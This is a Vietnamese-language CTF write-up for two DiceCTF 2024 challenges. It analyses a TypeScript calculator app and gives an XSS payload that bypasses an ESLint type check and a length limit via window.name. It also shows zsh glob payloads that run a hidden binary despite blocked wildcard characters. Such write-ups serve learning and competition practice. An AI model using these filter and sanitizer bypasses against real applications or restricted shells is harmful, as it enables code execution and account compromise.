---
# System prepended metadata

title: DiceCTF 2024
tags: [zsh, XSS]

---

## WEB: Calculator
> beep boop
>
> calculator.mc.ax
> Admin Bot

Web cho phép user nhập vào và in ra kết quả cùng với Admin bot -> Có thể là XSS chall
![image](https://hackmd.io/_uploads/SkKmSGR5a.png)
Phân tích `index.ts` ta thấy query được sanitize nhưng kết quả thì không
```typescript 
app.get('/', async (req: Request, res: Response) => {
    const query = req.query.q ? req.query.q.toString() : ''
    const message = query ? await runQuery(req.query.q as string) : ''

    res.send(`
            ...
                    <h1>Calculator</h1>
                    <form action="/" method="GET">
                        <input type="text" name="q" value="${sanitize(query)}">
                        <input type="submit">
                    </form>
                    <p>${message}</p>
                </div>
            ...
    `)
})
```
Hàm sanitize chỉ đơn giản là chuyển một số kí tự nguy hiểm sang HTML entity
```typescript 
const sanitize = (code: string): string => {
    return code
        .replaceAll(/</g, '&lt;')
        .replaceAll(/>/g, '&gt;')
        .replaceAll(/"/g, '&quot;')
}
```

Vì `message` không được sanitize nên rất có khả năng sẽ bị dính lỗi XSS, ta phân tích hàm `runQuery`
```typescript 
const runQuery = async (query: string): Promise<string> => {
    if (query.length > 75) {
        return 'equation is too long'
    }

    try {
        const result = await run(query, 1000, 'number')

        if (result.success === false) {
            const errors: string[] = result.errors
            return sanitize(errors.join('\n'))
        } else {
            const value: number = result.value
            return `result: ${value.toString()}`
        }
    } catch (error) {
        return 'unknown error'
    }
}
```
Nếu query quá dài thì sẽ bị return ngay lập tức. Nếu result chạy fail thì trả về lỗi được sanitize, ngược lại trả về kết quả không bị sanitize.
Ta xem tiếp hàm `run`
```typescript 
export const run = async <T extends keyof RunTypes>(
    code: string,
    timeout: number,
    type: T,
): Promise<RunResult<T>> => {
    const result = await sanitize(type, code)
    if (result.success === false) return result
    return await queue.queue<RunResult<T>>(async (isolate) => {
        const context = await isolate.createContext()
        return Promise.race([
            context.eval(result.output).then((output): RunResult<T> => ({
                success: true,
                value: output,
            })),
            new Promise<RunResult<T>>((resolve) => {
                setTimeout(() => {
                    context.release()
                    resolve({
                        success: false,
                        errors: ['evaluation timed out!'],
                    })
                }, timeout)
            })
        ])
    })
}
```
Trong hàm này, input lại tiếp tục được sanitize, nếu success thì đưa vào queue. Tuy nhiên result lại được đưa vào hàm `eval` để chạy.
Ta kiểm tra hàm sanitize mới
```typescript 
export const sanitize = async (
    type: string,
    input: string,
): Promise<Result<string>> => {
    if (/[^ -~]|;/.test(input)) {
        return {
            success: false,
            errors: ['only one expression is allowed'],
        }
    }

    const expression = parse(input)

    if (!expression.success) return expression

    const data = `((): ${type} => (${expression.output}))()`
    const project = new VirtualProject('file.ts', data)
    const { errors, messages } = await project.lint()

    if (errors > 0) {
        return { success: false, errors: messages }
    }

    return project.compile()
}
```
Trước tiên dùng regex kiểm tra để yêu cầu chỉ có 1 expression. Kí tự thường dùng là `;` cũng đã bị fitler.
Input được đưa phân tích với hàm parse, tiếp tục thử biên dịch và kiểm tra lỗi với `Eslint`. Nếu không có vấn đề gì thì trả về kết quả của đoạn
```typescript
((): ${type} => (${expression.output}))()
```
Mà type ở đây là 'number'.
![image](https://hackmd.io/_uploads/HkhEiz0qa.png)
Do result là string, không phải number nên đã bị lỗi.


Kiểu dữ liệu trong typescript chỉ là để Eslint nhận diện để khi code sẽ được chặt chẽ hơn nhưng không cấm việc trả về một kiểu khác với khai báo.
Có thể thấy Eslint đã báo lỗi, tuy nhiên ta có thể bypass với đoạn comment `/*eslint-disable-line*/`[^1]. Không thể dùng `/*tslint:disable-next-line*/` do đã bị chặn trong config.
![image](https://hackmd.io/_uploads/BkeBP7QCqp.png)
Có vẻ như là không assert được, ta thử với kiểu any
![image](https://hackmd.io/_uploads/SyfrfQA9T.png)
Kết quả đã hiện ra bình thường. Lúc này ta chỉ cần XSS result là xong

![image](https://hackmd.io/_uploads/HJxKGmR5T.png)

**PAYLOAD:**
```
"<script>window.name</script>" as any/*eslint-disable-line*/
```
Do giới hạn input chỉ 75 kí tự nên phải sử dụng `window.name` để bypass[^2]

## MISC: zshfuck
> may your code be under par. execute the getflag binary somewhere in the filesystem to win


![image](https://hackmd.io/_uploads/H1hFlV0q6.png)
Bài cho ta nhập vào 6 kí tự khác nhau, không được chứa `*`, `?`, \`. Ta có thể dựa vào 6 kí tự đó để thực thi lệnh.
![image](https://hackmd.io/_uploads/HyTv-VC5T.png)

Trước tiên ta cần xem danh sách các file hiện tại với các kí tự `ls -R/`. 
![image](https://hackmd.io/_uploads/HyTTbNAcT.png)
Đã tìm thấy `getflag`, giờ ta cần tìm cách để chạy file đấy. Một số wildcard cơ bản đã bị chặn, tuy nhiên ta vẫn có thể sử dụng `[^]` hoặc `[!]`[^3]

**PAYLOAD**:
```
[^^][^^][^^]/[^^][^^][^^][^^]/[^^][^^][^^][^^][^^][^^][^^][^^][^^]/[^^][^^][^^][^^]/[^^][^^][^^][^^][^^][^^][^^]


[!+][!+][!+]/[!+][!+][!+][!+]/[!+][!+][!+][!+][!+][!+][!+][!+][!+]/[!+][!+][!+][!+]/[!+][!+][!+][!+][!+][!+][!+]
```

[^1]: [Eslint comment](https://eslint.org/docs/latest/use/configure/rules#using-configuration-comments-1)
[^2]: [XSS Filters: Beating Length Limits Using Shortened Payloads - PortSwigger](https://portswigger.net/support/xss-filters-beating-length-limits-using-shortened-payloads)
[^3]: [Wildcards](https://tldp.org/LDP/GNU-Linux-Tools-Summary/html/x11655.htm)



